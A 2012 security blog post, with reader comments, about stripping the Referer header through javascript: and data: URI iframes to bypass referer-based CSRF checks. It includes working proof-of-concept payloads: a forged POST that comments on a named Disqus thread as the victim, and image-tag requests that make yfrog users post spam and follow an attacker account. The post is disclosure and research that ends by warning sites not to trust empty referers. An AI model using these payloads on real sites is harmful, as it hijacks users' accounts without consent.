Tuesday, April 24, 2012

Playing With Referer & Origin


(related: CSRF afterparty & MUST READ rules )


If you read owasp you should know that Referer has never been a good protection. If user submits form from https:// URL than referer header is omitted due to security reasons - it's known fact. But having https page is a big deal for hacker - very uncomfortable for massive attacks(rapidly banned/reported, expensive certificates).

I found a way(in fact two ways) to omit this header from any page - it is the trick with about:blank.

theory:

  •  Referer is very popular header for filtering external(hot linked <img>s) requests on image hostings.
    Using the trick allows you to embed any external resource not being scared to be banned or noticed due to Referer header. PROTIP: use modern "seamless" attribute in iframe in embed iframes seamlessly :D
  • Referer is omitted in some weird browsers or if user customizes his client this way. It really happens. This is why approving request if referer is empty(I mean not sent) is a good practice(you can google it 1 2). Websites do this because they don't want to lose sort of ~1 percent of traffic.
    The trick turns 1% -> 100%. 1% can be pwned because it is their problem(omitting referer). If 100% is pwned - it is a huge vuln.
  • Origin is a modern secure alternative for Referer - because it contains only domain path(https://domain.com/) and is sent from https pages.
    Still not supported by some "browsers"(e.g. IE 8) but anyways, it is kinda secure header to verify(CORS technology is based on Origin). 

TRICK 1

<iframe src="javascript:CODE"></iframe>
Executing any code in context of about:blank(it is default URL for src). CODE is a script that generates(document.write) the form and than submits it(document.forms[0].submit())
It sends empty Referer but Origin is still proper(I guess they special-cased this trick inside of Webkit)

TRICK 2

document.write('<iframe src=\'data:text/html,<form method=post action="PATH"></form><script>document.forms[0].submit()</script>\'></iframe>')
Putting HTML code in context of weird about:blank with protocol == "data". This trick is cooler because it doesn't require JS and sends POSTs with empty Referer and Origin: null. But I wonder why it works in Webkit?! O_o:
(from http://msdn.microsoft.com/en-us/library/cc848897(v=vs.85).aspx)
For security reasons, data URIs are restricted to downloaded resources. Data URIs cannot be used for navigation, for scripting, or to populate frame or iframe elements.



And now for something completely different! Showcases!

disqus.com - they require referer equal disqus.com OR empty one. Good example(commenting on behalf of your account) - execute the code to post comment there.
document.write('<iframe src=\'data:text/html,<form method=post action="http://jwo.disqus.com/thread/the_one_with_html5_videos_using_zencoder_for_videojscom_jwo/post_create/"><input name=message value="Good article, JSON FTW"></form><script>document.forms[0].submit()</script>\'></iframe>')



yfrog.com - they had an awful CSRF hole a month ago. Than I reported it; 3 times; And got no response. They fixed it by verifying referer is equal "yfrog.com"(losing ~1% of users). Doing 5 minutes brainstorm I found a cute thing over the new protection - they accept GET(it is a nice showcase for GET Accessible Actions problem).

In general, all you need is to post on your wall (/profile/HACKERACCOUNT) similar code:

<img src=/message/post.json?message=SPAM_MESSAGE>
<img src=/follow.json?user=HACKER_TO_FOLLOW>

Than, just include your prepared yfrog profile with <iframe src=http://yfrog.com/profile/HACKERACCOUNT></iframe> anywhere - than img-requests will be sent from yfrog.com with yfrog's referer but they are still malicious. Voila :)

UPDATE: http://code.google.com/p/chromium/issues/detail?id=125319
@homakov - There really is nothing to fix on that front. A web app is fundamentally broken if it trusts the absence of the referer header to indicate a request is not a CSRF. It's an inherently unsafe assumption.
Period. DO not rely on empty referer anyhow. It is unsafe and those tricks are legit. Anyway, it's still pretty useful to use hot-linked images sending empty referer :)

Thanks for reading.

4 comments:

  1. Great trick with iframe and empty referer!

    ReplyDelete
  2. You can insert any code into iframe about:blank using frames[0].document.body.innerHTML="<a bunch of html>";

    See http://webstersprodigy.net/2013/02/01/stripping-the-referer-in-a-cross-domain-post-request/

    ReplyDelete